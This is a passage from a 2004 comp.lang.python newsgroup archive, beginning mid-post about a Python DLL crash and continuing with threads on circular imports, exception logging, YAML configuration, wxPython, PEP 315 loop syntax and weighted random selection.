3. C:\WINNT\System32\python23.dll was loaded  <--- Python I installed 
                                                    on my machine

Apparently the application was able to find and load _socket.pyd
(hmmm,
not the one I put under C:\AutoScript). However, socket lib uses
pythoncore, hence, python23.dll was loaded. Since 2 different versions
of Pythoncore libs got loaded, it got confused and crashed. This very
likely has something to do with the path setting. I checked the
Windows registry. I could not find any key with reference to
python23.dll so I could trace where the key was used.

Your time is appreciated.


From __peter__ at web.de  Thu Feb 12 11:56:03 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 12 Feb 2004 17:56:03 +0100
Subject: Wrapping exception handling around a function
References: <402b927e$0$3168$61fed72c@news.rcn.com>
Message-ID: <c0gb74$4i8$07$1@news.t-online.com>

Edward C. Jones wrote:

> Is there a better way to write the following?
> 
> --------
> 
> import sys, traceback
> 
> class LocalError(StandardError):
>      pass
> 
> _first = True
> 
> # "fcn(*args)" is executed. If one of the exceptions listed in
> # "catchtuple" is thrown in "fcn", the exception is caught here.
> # The traceback and message are written to "badfile". Then
> # "LocalError" is raised. "wrapper" is useful when testing a
> # collection of functions.
> def wrapper(badfile, fcn, args, catchtuple):
>      global _first
>      try:
>          fcn(*args)
>      except tuple(catchtuple), message:
>          if _first:
>              bad = file(badfile, 'w')
>              _first = False
>          traceback.print_exc(100, bad)
>          raise LocalError

I find, e. g.

wrapper("logfile.txt", file, ["somefile.txt", "w"], (IOError,))

much less readable than

import logging

logger = logging.getLogger("mylogger")

try:
    f = file("somefile.txt", "w")
except IOError:
    logger.exception("some hints")
    raise LocalError("some hints")

and don't mind the few extra keystrokes. As for recording only the first
traceback, I'm not that familiar with the logging module, but I still
recommend it over a selfmade scheme.

Peter





From donald.braman at yale.edu  Tue Feb 17 17:04:03 2004
From: donald.braman at yale.edu (Donald Braman)
Date: Tue, 17 Feb 2004 17:04:03 -0500
Subject: rather broad question on data handling
Message-ID: <c0u34k$4ib$1@news.wss.yale.edu>

I am wondering what the most efficient way to handle a rather small (about
1000 records) set of data would be. In this data set, each record tracks an
agent over time. Agents move around on a grid and interact when they end up
on top of or next to one another. Each agent has a number of attributes that
determine what these interactions are like.

How would you recommend managing the data: Objects? RDB? Some other way?
Does Python have peculiar strengths I can exploit or weaknesses to avoid in
this area? Any and all advice appreciated.

-DB




From selwyn at aotearoa_is_home.nz  Fri Feb 20 17:14:02 2004
From: selwyn at aotearoa_is_home.nz (selwyn)
Date: Sat, 21 Feb 2004 11:14:02 +1300
Subject: Class for Time Series Data
In-Reply-To: <420ced91.0402191804.49a5d91f@posting.google.com>
References: <420ced91.0402191804.49a5d91f@posting.google.com>
Message-ID: <zwvZb.25367$ws.3109772@news02.tsnz.net>

I have found Gustavo Niemeyer's DateUtil to be very helpful.

https://moin.conectiva.com.br/DateUtil

seems to have similar capabilities to R's ts...

it extends the datetime class introduced in python2.3

HTH
Selwyn.

sdhyok wrote:
> Hi, I am trying to build up a system handling time series data a lot.
> Do you know any well-designed python class specially for time series data?
> Thanks in advance.
> 
> Shin, Daehyok



From tjarko at dutlbcz.lr.tudelft.nl  Fri Feb 27 05:10:44 2004
From: tjarko at dutlbcz.lr.tudelft.nl (Tjarko de Jong)
Date: Fri, 27 Feb 2004 11:10:44 +0100
Subject: wxPython tutorial?
References: <36965e8.0402262255.122d167f@posting.google.com>
Message-ID: <cn5u305i1l92lbc9mtfufjnmfk5favbnue@4ax.com>

On 26 Feb 2004 22:55:52 -0800, jdadson at yahoo.com (Jive
Dadson) wrote:

>I'm trying (without conspicuous success) to start learning
>wxPython.  Sooo... I opened the doc page wxPythonManual.html#wxpython-overview.
>The very first example does not work.  Try it.  I find much of what follows
>to be incomprehensible.  Is there a good tutorial for novices?

While using "import wx" is cleaner the turorials uses often
"from wxpython import * " Thus function and class names are
changed.

change:
self.frame = Frame()
self.frame = wx.Frame()



From jcarlson at nospam.uci.edu  Sat Feb  7 17:13:29 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 14:13:29 -0800
Subject: Basic 'import' problem
In-Reply-To: <c03kmp$28u7$1@ns.felk.cvut.cz>
References: <c03aeb$12q8$1@ns.felk.cvut.cz> <c03i3f$3v4$03$1@news.t-online.com>
	<c03kmp$28u7$1@ns.felk.cvut.cz>
Message-ID: <c03o2l$j6q$1@news.service.uci.edu>

> Yes, this seems logical. It looks like I have some fundamental problems 
> with grasping the philosophy of Python...

Where did you think that Python's philosophy would allow you to do 
circular imports?  It doesn't make sense in /any/ language.


> My application is started from base.py. This file imports many other 
> files (modules) that do different stuff. Base.py references dozens of 
> classes and functions in other modules. After a while, there comes a 
> time when some of these modules need to reference some basic function 
> inluded in base.py. Which means (I thought until now) that I have to 
> include base.py in these files. Or not? Are you saying there is no 
> chance of doing this? Let's forget "import" for now and please explain 
> to me: Is there way to create a Python application consisting of several 
> modules that can freely call and reference stuff in each other? From 
> your answer it seems that the anwer is "no".

Of course you can, but is that really good design?

If the thread were up on google, I'd link it, a thread started with the 
subject of "software design question".

What you want can be done in two ways.  Quoting myself from that thread, 
there's the kludge:

main = someclass()
import sys
sys.modules['external'].main = main


And there's the standard method:

import module1
...

class main:
     def __init__(self, args...):
         self.c1 = module1.class1(args...)
         #where args... is the standard initialization for your class,
         #              and any additional objects/methods that c1 needs
         #              access to.

Pass what is needed.  If you can't pass what is needed when external 
module classes are initialized, then set the attribute later.

c1instance.attribute = value


  - Josiah


From amk at amk.ca  Thu Feb 12 15:38:35 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Thu, 12 Feb 2004 14:38:35 -0600
Subject: YAML config file parser
References: <c0gk4t$111$1@swifty.westend.com>
Message-ID: <bOWdnbCO5OnWebbdRVn-ug@speakeasy.net>

On Thu, 12 Feb 2004 20:28:44 +0100, 
	Peter Maas <fpetermaas at netscape.net> wrote:
> structures into the configuration. From the sysadmin's perspective this
> is not so satisfactory: he would prefer a common configuration format
> for his system. 

I don't believe that assertion.  We have whitespace-delimited files (cron,
/etc/hosts), colon-delimited files (passwd, groups), files containing
line-oriented commands (resolv.conf), ones grouped into subsections and ones
that are flat, etc. and everyone manages to survive.

YAML also has the disadvantage of being a complicated format to learn -- it
may be only slightly simpler than reStructured Text -- and it's not quite
like any other format; it borrows features from Unix-style config files,
Python, XML, and RFC 2822, but it doesn't look like any of them.  A "yamlwf"
program similar to Expat's "xmlwf" would help, but is insufficient because
not only must the syntax be correct, the data structure contained in the
YAML file has to match what the application expects.

A good feature of using Python for some applications is that you can then
provide alternatives such as:

if socket.gethostname() == 'devel':
    MAIL_EXCEPTIONS = False
    LOG_LEVEL = 'debug'
else:
    MAIL_EXCEPTIONS = False
    LOG_LEVEL = 'warn'
    
This is messier in a declarative format.

--amk


From shalabh at cafepy.com  Thu Feb 19 17:17:44 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Thu, 19 Feb 2004 22:17:44 GMT
Subject: Mutability problem when subclassing tuple
References: <40342544$0$3105$61fed72c@news.rcn.com>
Message-ID: <cCaZb.30208$5W3.15525@nwrddc02.gnilink.net>

Edward C. Jones wrote:

> # What restrictions are there when subclassing "tuple" or other
> # types that create immutable objets?

A simple example is here (scroll to the bottom):

http://www.cafepy.com/articles/python_attributes_and_methods/ch03s02.html

--
Shalabh


From jcarlson at nospam.uci.edu  Tue Feb  3 22:55:17 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 03 Feb 2004 19:55:17 -0800
Subject: newbie with a gui question
In-Reply-To: <1020q1dq34lt260@corp.supernews.com>
References: <1020nse8569lr70@corp.supernews.com>
	<slrnc20pe9.5dk.bignose-hates-spam@iris.polar.local>
	<1020q1dq34lt260@corp.supernews.com>
Message-ID: <bvpqje$82s$2@news.service.uci.edu>

> That's just it, the course material is "go out and find
> it on the 'net."  I've got several books on Python and none of them help
> will building this gui.
> 
> Can someone get me started, at least??

1. Go to www.wxpython.org
2. Download wxPython
3. Follow the examples given here:
http://wiki.wxpython.org/index.cgi/Getting_20Started#head-bc009992ceb90dddb7eb3db953e25d1792da2cdd
4. When you get stuck, read the included documentation (wx.chm) and 
check out the included wxPython demo (both are included with the base 
distribution).

  - Josiah


From dawnlinux at realss.com  Thu Feb 26 13:37:48 2004
From: dawnlinux at realss.com (Lian Liming)
Date: Fri, 27 Feb 2004 02:37:48 +0800
Subject: ImportError: No module named glade??
Message-ID: <c1le29$1k37dc$1@ID-224985.news.uni-berlin.de>

Hi,

  I have installed Python2.3, PyGTK 2.0.0, python-gnome2 2.00.00, glade2.
But when i run BloGTK, which is a tool for blogger developped in Python, 
the error information dislay:

Traceback (most recent call last):
   File "/usr/bin/BloGTK", line 11, in ?
     import gtk.glade
ImportError: No module named glade

What's wrong with that ? I have install glade2!
Can someone give me some information to solve the problem?

Thanks in advance.


From mk at net.mail.penguinista  Wed Feb 18 12:25:06 2004
From: mk at net.mail.penguinista (=?UTF-8?B?0LTQsNC80ZjQsNC9INCzLg==?=)
Date: Wed, 18 Feb 2004 18:25:06 +0100
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <40339ff2@news.mt.net.mk>

>     while:
>         x = foo()
>     and while x != 0:
>         bar(x)
> 
> This example actually incorporates two changes:
> 
>     1) "while:" is equivalent to "while True:"
> 
>     2) "and while <condition>:" is an exit from the middle of the loop,
> analogously to PEP 315.

How about "until" instead of "and while not", shorter and not new in the
programing languages.

while:
  x = foo()
until x == 0:
  bar(x)


-- 
??????                                  (jabberID:damjan at bagra.net.mk)

hundred-and-one symptoms of being an internet addict:
21. Your dog has its own home page.


From skip at pobox.com  Thu Feb 12 14:54:25 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 12 Feb 2004 13:54:25 -0600
Subject: Table Oriented Programming
In-Reply-To: <000a01c3f19b$dc5c7ea0$0a0aa8c0@mikesmonster>
References: <000a01c3f19b$dc5c7ea0$0a0aa8c0@mikesmonster>
Message-ID: <16427.55793.980420.852897@montanaro.dyndns.org>


    Michael> I got to thinking that a more dynamically typed language, such
    Michael> as Python, would be a more natural fit. I've always been fond
    Michael> of the table-oriented programming ideas described in
    Michael> http://www.geocities.com/tablizer/top.htm, so I'm thinking that
    Michael> if Python could be extended to handle table-oriented
    Michael> programming as seamlessly as it handles object-oriented
    Michael> programming, it could become a really valuable language for
    Michael> writing enterprise components, a la EJB.

    Michael> Does anyone know if anyone has already walked this path?

Maybe you could start with one of the various object-relational mappers
available for Python then implement cartesion products, selection and
projection in them by overriding "*", "/" and "%" as appropriate.

Skip



From alan.gauld at btinternet.com  Mon Feb  2 03:45:38 2004
From: alan.gauld at btinternet.com (Alan Gauld)
Date: Mon, 02 Feb 2004 08:45:38 GMT
Subject: Interactive Shell?
References: <20040201215942.28384.00001169@mb-m15.aol.com>
Message-ID: <401e0cc4.1013105648@news.blueyonder.co.uk>

On 02 Feb 2004 02:59:42 GMT, tuglyraisin at aol.commcast (Andrew
Burton) wrote:
> learn Python, I saw what I know see whenever I open Python up, the infamous >>>
> prompt. At the time, it confused me, and I shelved the book. Fewer moons past,
> as I fell into a hobby of reading Lisp web pages and lurking in comp.lang.lisp,

A good habit to fall into IMHO :-)

However in terms of how best to view the Python >>> prompt I'd
suggest a wee excursion into Smalltalk.

The >>> prompt is very similar to the scratchpad mode of
operation in the Smalltalk environment. You create classes and
methods etc in the browser then test them out in the scratchpad.
You want to check a bit of syntax, try it in the scratchpad.

The >>> prompt is used in a similar way (by me at least!). As I
program in <insert favourite text editor here> I dip into the >>>
prompt in a separate window to check out ideas, syntax, and to
test the code I'm writing, import/reloading it, and by
instantiating classes etc and firing up the methods with test
params.

If you do objects in Python the >>> prompt makes a great testbed
for checking them out as you write them.
 
Alan G.
Author of the Learn to Program website
http://www.freenetpages.co.uk/hp/alan.gauld


From josecarlos at siadv.com  Wed Feb  4 16:47:49 2004
From: josecarlos at siadv.com (José Carlos)
Date: Wed, 4 Feb 2004 22:47:49 +0100
Subject: dictionary question
Message-ID: <bvrp9s$hhp$1@nsnmrro2-gest.nuria.telefonica-data.net>

i have a dictionary. inside this dictionary i have several list and inside
each list i have data.

How can i do for add data to these list.

this is my code:

conex = {'tipoconex': ['1', '0'], 'conexionS': ['cliente1', 'cliente2'],
'clave': ['pepo', 'joan'], 'usuario': ['pepe', 'juan']}

thank you
Regards
Jose




From klausman-un0204 at schwarzvogel.de  Sun Feb 22 14:32:02 2004
From: klausman-un0204 at schwarzvogel.de (Tobias Klausmann)
Date: 22 Feb 2004 19:32:02 GMT
Subject: Random from Dictionary
Message-ID: <slrnc3i0ti.o36.klausman-un06122002@eric.schwarzvogel.de>

Hi!

This thread has reminded me (and touched upon) a problem I had a
few months back and never got to solve in a way I really liked.

Here's the outline:
I'd like to generate words from atoms (like 'e', 'ch', 'th' and
so on). Now while the basic stupid algorithm is to just put them
into two different lists (roughly "vowels" and "consonants") and
the just pick alternatingly form both (or maybe a bit mor often
form one, that does not quite satisfy me.

What I'd like is having a dictionary or a list of tuples, which
contains the probability for each element and then an efficient
way of creating strings that contain a set number of random chars
according to the distribution outlined by the probablities.

For small numbers of elements, just creating a list that contains
more of the same element for higher probabilities and
then pick()ing from it works. Unfortunately, I need a quite high
precision (about 0.05% of the sum of probabilities) and have a
list of about 100 atoms. The list would become very large, I
guess (although I haven't tried).

Now I've come up with an idea that might solve my problem, but I
don't know if it's correct or at least effective.

I build the list the following way: For the first atom, I create
a dictionary entry with the key being its relative probability.
The second key gets an entry with its probability added to the
first one. This goes on until all atoms are in the list.

Now I generate a number between 0 and the highest number in the
dictionary, i.e. the key of thw most probable element. The
picked element will be the one with the smallest key that's over
the random number.

The main disadvantage I see is that I have to walk large parts of
the list for every pick. Of course, I would start at the top,
trying to minimize the number of elements needing to be checked.

Still, it doesn't quite satisfy me. While I have a strong belief
in its correctness, I'd be glad if others think so, too :)

Better yet, a faster and proven way to do this would be even
nicer.

Greets,
Tobias



From this at is.for.spambot  Wed Feb 11 14:38:01 2004
From: this at is.for.spambot (Benjamin Han)
Date: Wed, 11 Feb 2004 14:38:01 -0500
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
	<2004021111491975249%this@isforspambot>
	<402A8135.940ACE8E@hotmail.com>
Message-ID: <2004021114380116807%this@isforspambot>

On 2004-02-11 14:23:33 -0500, Alan Kennedy <alanmk at hotmail.com> said:

> [Benjamin Han]
>> But as described, the ps log showed two entries of fooServer.py, but in
>> the log produced, only one server actually was started (I can tell that
>> from the PID in the log file). I really can't explain this discrepency!
> 
> Quick sanity check: Are you using an operating system that reports an
> entry in the ps list for every *thread* of a process, rather an entry
> for every process, as you might expect. So if you have 2 threads
> running under the "fooServer.py" process, you get 2 entries in the
> output of ps, rather than 1.
> 
> Some unixen do this.
> 
> HTH,

Hm, this is Mac OS X 10.3.2, and I checked the man page of ps, it has 
another option '-M' to show the threads (which I didn't use to produce 
the ps log in question) - but of course they all show up with the same 
PID, not the phenomena I saw in the ps log file (where more than one 
fooServer.py processes showed up with unique PIDs).

But fooServer.py does use more than one thread (both from the 
SocketServer.ThreadingTCPServer and from some other threads it creates).



From zunbeltz at wm.lc.ehu.es.XXX  Wed Feb  4 05:10:52 2004
From: zunbeltz at wm.lc.ehu.es.XXX (Zunbeltz Izaola)
Date: 04 Feb 2004 11:10:52 +0100
Subject: global variables in module
Message-ID: <cthvfmnb1eb.fsf@lcpxdf.wm.lc.ehu.es>

Hi to all!

I'm writing a GUI with wxPython. I want to save preferences and defaults
values in a configuration file. I'm going ot parse this file using 
ConfigParse from the standar library.

In my application i've 

MyApp(wxApp):
        ...
        def OnInit(self):
            ..
                cf = ConfigParse.ConfigParse()
                cf.read(open("defaults.cfg"))

How can i use cf in other modules of the program. Did I need declare cf
global, or make it a module variable, ... Any hint, please

TIA

Zunbeltz


From michele.simionato at poste.it  Sun Feb 22 05:54:56 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 22 Feb 2004 02:54:56 -0800
Subject: call a function every n mseconds
References: <slrnc3fuec.8pk.vedranf@rijeka.riteh.hr>
Message-ID: <95aa1afa.0402220254.7b405a4e@posting.google.com>

Vedran Furac <vedranfREMOVE at riteh.hr> wrote in message news:<slrnc3fuec.8pk.vedranf at rijeka.riteh.hr>...
> How can I call a function every time a specified number of milliseconds
> elapses? Javascript has setInterval() function and I need something like
> that. Currently I use this:
> def function():
> 	[...]
> 	t = threading.Timer(n, function)
> 	t.start()
> function()

You can fork the process and use time.sleep. Or you can use Tkinter
(hint: Tkinter also works for non-graphical applications): Tkinter
widgets have an "after" method that does what you want.

          Michele Simionnato


From klaus_neuner82 at yahoo.de  Thu Feb 12 04:05:29 2004
From: klaus_neuner82 at yahoo.de (Klaus Neuner)
Date: 12 Feb 2004 01:05:29 -0800
Subject: write a recognizer
Message-ID: <3e96ebd7.0402120105.14ee6f6d@posting.google.com>

Hello,

I want to write a class Recognizer, like so:

class Recognizer(object):

    def is_of_category_1(self, token):
        if token == 1:
            return "1"
        else:
            return False

    def is_of_category_2(self, token):
        if token == 2:
            return "2"
        else:
            return False

    def recognize(self, token):
        for fun in <?>:
            result = apply(fun, token)
            if result:
                return result
        return False

What do I have to write instead of <?>? 
Or: How should I design the recognizer, if the above design is not good? 

Klaus


From peter at engcorp.com  Wed Feb 18 18:20:24 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 18:20:24 -0500
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
	<c10mh0$kfr$1@panix3.panix.com> <4033F249.FD73DAB6@engcorp.com>
Message-ID: <4033F338.ED0DAC5A@engcorp.com>

Peter Hansen wrote:
> 
> Other options?  Or pointers to the right keywords to let someone
> investigate the state of the art/literature more closely?

Dang time machine:  http://www.captcha.net/ .  Thanks Paul. :-)

-Peter


From andywil at nortelnetworks.com  Tue Feb 24 08:34:34 2004
From: andywil at nortelnetworks.com (Glawster)
Date: 24 Feb 2004 05:34:34 -0800
Subject: SNiFF+ and Python
Message-ID: <2e3b9aea.0402240534.6a5276b8@posting.google.com>

Is anyone using SNiFF+ to develop and debug Python applications, I
would welcome some setup advice for debugging. I am using Sniff
version 4.0.1.

Regards,
Andy


From newsgroups at jhrothjr.com  Mon Feb 16 21:55:00 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 16 Feb 2004 21:55:00 -0500
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net>
Message-ID: <10330mn8gt37icd@news.supernews.com>


"Stuart McGraw" <smcg4191 at frii.RemoveThisToReply.com> wrote in message
news:40315037$0$199$75868355 at news.frii.net...
> Sorry, you are right, I wasn't clear.  I mean B inherits from
> A.  Here is what I am trying to do...
>
> Class A has a method A.a() that returns an A.  I want a
> identical class but with an additional property .newprop
> and method .b()  And I want .a() to return a B, not an A.
>
>   class B (A):
>     def __init__(self, *args, **kwds):
>       A.__init__(self, *args, **kwds)
>       self.newprop = 99
>     def a(self):
>       x = A.a(self)    # x is an A
>       x.__class__ = B
>       return x    # I want x to be a B, i.e have b() and .newprop.
>     def b(self):
>       ...something...
>
> Yes, I know this is bogus.  But I am not sure what
> I should be doing.  And to correct what I originally
> posted, A is implented in python (but I still can't
> change it for administrative reasons), but it's properties
> are declared with "__slots__ = [...]" if that makes a
> difference.  This is all in Python 2.3.3.

What's bogus about it? You can change the
class of an instance to be anything you want.
The only issue might be the slots; I'm not all
that familiar with what restrictions they might
impose.

Granted, there are relatively few cases
where changing the class of an instance on
the fly is actually better than the alternatives,
but this might be one of them.

John Roth

>
>
> "Peter Hansen" <peter at engcorp.com> wrote in message
news:4031481B.90B31C73 at engcorp.com...
> > Stuart McGraw wrote:
> > >
> > > I have a class A from a third party that I cannot change
> > > and is implemented in C.  I derive my own class B from A
> > > and add a couple new methods and override a method.  The
> > > problem is that A has a method (call it A.f() ) that creates
> > > and returns a new A object.  I need B.f() to return a B
> > > object derived from A.f().  What is the best way to make
> > > that happen?
> >
> > If I understand this correctly, it has nothing to do with the
> > fact that the parent class is implemented in C and you just
> > need to know a little uncommon syntax:
> >
> > class A:
> >     def f(self):
> >         return A()
> > se
> > class B(A):
> >     def f(self):
> >         obj = A.f(self)
> >         # do whatever you want to obj here
> >         return obj
> >
> > The key is what you mean by "a B object derived from A.f()".  If
> > by derived you mean something to do with _inheritance_, then
> > either you don't understand inheritance or you weren't clear what
> > you wanted.
> >
> > If you just mean you want B's f() to do something special to the
> > A object that A.f() returns, then the above code should let you
> > do that properly...
> >
> > -Peter




From eric at zomething.com  Sun Feb 22 19:21:04 2004
From: eric at zomething.com (Eric @ Zomething)
Date: Sun, 22 Feb 2004 16:21:04 -0800
Subject: Help With  EOF character: URGENT
Message-ID: <20040222162104.291521964.eric@zomething.com>

dont bother wrote:

> 
> Hi Buddies,
> I am facing this problem and I dont know what to use
> as EOF in python:
> I want to read a file, and put all the individual
> words in a dictionary with their index:
> For example if the file is:
> 
> Hello there I am doing fine
> How are you?
> 
> So I want to make an index like this:
> 
> 1 Hello
> 2 there
> 3 I
> 4 am
> 5 doing
> 6 fine
> 7 How
> 8 are
> 9 you
> 10 ?
> 
> In order to do this: I have written a small code which
> is here:
> -------------------------------------------------------
> # python code for creating dictionary of words from an
> #input file
> ------------------------------------------------------
> 
> import os
> import sys
> try:
>         fread = open('training_data', 'r')
> except IOError:
>         print 'Cant open file for reading'
>         sys.exit(0)
> print 'Okay reading the file'
> s=""
> a=fread.read(1)
> while (a!="\003"):
> #while 1:
>                 s=s+a
> 

<snip>

Dont, I think you want to iterate over your file, rather than look for an EOF marker, unless you have a technical reason not to.

I'll leave it to someone else to provide a better solution, but here is a Q&D newbie approach to a text file break-out of words:

>>> fileOne=open('C:\\testfile.txt')
>>> fileString=fileOne.read()
>>> print fileString
Hello there I am doing fine
How are you?
>>> wordString=fileString.replace('\n',' ')
>>> print wordString
Hello there I am doing fine How are you? 
>>> wordList=wordString.split(' ')
>>> print wordList
['Hello', 'there', 'I', 'am', 'doing', 'fine', 'How', 'are', 'you?', '']

HTH,

Eric



From dialton3.NOSPAM_ at virgilio.it  Sat Feb 28 12:26:19 2004
From: dialton3.NOSPAM_ at virgilio.it (Valentino Volonghi aka Dialtone)
Date: Sat, 28 Feb 2004 18:26:19 +0100
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
	<9nrc43idsjh1.7af9ozuv2nc7$.dlg@40tude.net>
	<mailman.245.1077986929.8594.python-list@python.org>
Message-ID: <n7b14x2tkodk$.1u7yu1oy7sx7r$.dlg@40tude.net>

In data Sat, 28 Feb 2004 09:44:57 -0700, kosh ha scritto:

> why not?
> 
> def pprint(*args):
>     print ''.join(args)
> 
> if you want it to be more robust you could do
> 
> def pprint(*args):
>     print ''.join(map(str,args))
> 
> That would try and convert all the items to a string first before joining 
> them.

I would have used the list comprehension solution that Mel Wilson posted
but I was in a hurry and wrote wrong code... 

Actually I don't like map() and I always try to use LC as much as
possible, I think they are a lot more readable.

-- 
Valentino Volonghi aka Dialtone
Now using Windows for Notebook Hw failure
X Python Newsreader developer
http://sourceforge.net/projects/xpn/


From claird at lairds.com  Fri Feb 27 08:01:06 2004
From: claird at lairds.com (Cameron Laird)
Date: Fri, 27 Feb 2004 13:01:06 -0000
Subject: Simple question for all of you python gurus
References: <NYu%b.12366$qL1.145@fed1read02>
	<103svepnqovuk5e@corp.supernews.com>
	<pan.2004.02.27.10.23.57.126600@jeremysanders.net>
Message-ID: <103ufsibc9p3675@corp.supernews.com>

In article <pan.2004.02.27.10.23.57.126600 at jeremysanders.net>,
Jeremy Sanders  <jeremy+plusnews at jeremysanders.net> wrote:
>On Thu, 26 Feb 2004 23:14:33 +0000, Cameron Laird wrote:
>
>>   os.chdir("/home/%s/.tmda/pending" % userid)
>>   li = os.popen(...
>
>Wouldn't something like this also work?
>
>li = os.popen('/bin/sh -c "cd /home/%s; /usr/bin/grep -i %s blah"')
>
>This has the advantage that the current directory of the Python program
>doesn't change.
			.
			.
			.
Yes.

I want to make it explicit:  yes, "/bin/sh -c ..." *does* work,
it's a good technique to keep in mind, and it does have the 
advantage you describe (assuming proper resolution of the %s-s
above).

Even for Python, there frequently are multiple solutions.  I
speculated that the original poster would feel most comfortable
with os.chdir(), and choose not to mention other possibilities.

As valuable as "/bin/sh -c ..." is, some people avoid it for 
its Unix-specificity, or even its multiplication of process
count.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From max at alcyone.com  Fri Feb 20 05:50:19 2004
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 20 Feb 2004 02:50:19 -0800
Subject: Statement (un)equality
References: <c14nlt$2fi$2@atlantis.news.tpi.pl>
Message-ID: <4035E66B.B86617FE@alcyone.com>

Adam Przybyla wrote:

> >>> [[y,x] for x,y in [1,2],[3,4]]
> [[2, 1], [4, 3]]
> >>> map(lambda x,y: [y,x], [1,2],[3,4])
> [[3, 1], [4, 2]]
> >>>
> Why there is a difference? How to make the same thing like in map
> statement?

Because the same things aren't happening here, despite their outward
similarity.  For the second case to be equivalent to the first, you
really meant:

>>> map(lambda x: [x[1], x[0]], [[1, 2], [3, 4]])
[[2, 1], [4, 3]]

You can pass multiple sequences to map, and that interleaves the
results:

>>> map(lambda x, y, z: (x, y, z), [1, 2], [3, 4], [5, 6])
[(1, 3, 5), (2, 4, 6)]

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Come not between the dragon and his wrath.
    -- King Lear (Act I, Scene I)


From jepler at unpythonic.net  Thu Feb  5 09:29:29 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 5 Feb 2004 08:29:29 -0600
Subject: Bitsets in Python
In-Reply-To: <94b59a36.0402050550.442a93d1@posting.google.com>
References: <pan.2004.02.03.17.36.10.927614@presidency.com>
	<bvpqlt$82s$3@news.service.uci.edu>
	<94b59a36.0402050550.442a93d1@posting.google.com>
Message-ID: <20040205142929.GF2092@unpythonic.net>

On Thu, Feb 05, 2004 at 05:50:57AM -0800, Matt wrote:
> I can't find anything like it in the standard library (If I've
> overlooked it, I'd be chuffed to find out I'm wrong!).

I also don't think there's anything in the standard library for it.
I vaguely recall talk that putting this in the 'array' module might be
the right thing to do:
    >>> array.array(array.BIT, '\xaa')
    array(array.BIT, [1, 0, 1, 0, 1, 0, 1, 0])

numarray also has arrays of bool, though I have to confess I'm not sure
how they're stored:
    >>> numarray.zeros((16,), numarray.Bool)
    array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], type=Bool)

Jeff



From r__hughes at hotmail.com  Wed Feb 18 18:46:13 2004
From: r__hughes at hotmail.com (R Hughes)
Date: Wed, 18 Feb 2004 18:46:13 -0500
Subject: strings with moreover of one million of characters
References: <mailman.32.1077140976.27104.python-list@python.org>
Message-ID: <c10tls$fpd$1@news.eusc.inter.net>

Just jumping in here with a possible interpretation of the original question
as referring to a string with one million digits eg :
"123410004352-------------------87690"   1 million digits long
I think the original question was whether this could be evaluated
by int()

"Delaney, Timothy C (Timothy)" <tdelaney at avaya.com> wrote in message
news:mailman.32.1077140976.27104.python-list at python.org...
> From: Jos? Carlos
>
> Is possible use strings with moreover of one million of characters?

Yes. If you have enough memory, which shouldn't be a problem.

> I try using int() but the program keep blocked.

This is a completely separate issue. Presumably you are trying to convert a
string which specifies a *very* large integer into a python long (which in
2.3 is done automatically by int).

If you wait a very long time, and you have enough memory, then this should
work. But it will take a *very* long time.

After you've done that, try multiplying or dividing by another very large
number ...

Tim Delaney





From wfolta at netmail.to  Tue Feb 17 13:06:10 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Tue, 17 Feb 2004 13:06:10 -0500
Subject: PEP-315 ("do" loop)
In-Reply-To: <4032385D.6030003@prescod.net>
References: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>
	<4032385D.6030003@prescod.net>
Message-ID: <F767D852-6173-11D8-BE5B-000A959CB2EC@netmail.to>

> until x <==> while not x

That was one thought that crossed my mind when I first saw an until 
construct in a language. (Was it PL/I?) So it is a bit of a confusion, 
but at the same time my spider senses were telling me that surely a 
language wouldn't reserve a keyword "until" to simply save someone from 
typing "while not". (Of course, a language like perl might well do 
this, but that's why we use python, eh?)

While it might be easy to confuse how "until" acts, it has the strength 
that it follows the intuitive loop paradigm we're used to in all other 
looping constructs that I know of: what loops is inside the loop. 
Python has "else" extensions to loops that are different from most 
languages, but even here the "else" part does not loop.

PEP-315 creates a different kind of two-part loop where code outside of 
the "while" is repeatedly executed. That will fool people who are used 
to the usual one-part loops. You can claim it's actually a "do" loop, 
but with the condition in the middle of the loop, that doesn't really 
hold water.

At the very least I'd say that you need to choose a word other than 
"while" to avoid this kind of confusion. For example, "do ... until 
..." loop where "until" <==> "while not" so that you know immediately 
what's going on. Otherwise, when you see a "while", you're never sure 
what kind of loop it is until you look above it and determine it's not 
a "do while".
>

> Nothing about the word "until" implies to me that it delays the loop 
> test on the first go-round. PEP 315's syntax seems more clear to me.

Nothing about "do" implies "do repeatedly". My first guess on what the 
PEP-315 syntax means, based on python's "while ... else" syntax, would 
be that the "do" part is executed and then the while loop is executed 
conditional on the "do" having not been broken out of: the inverse of 
"while ... else".




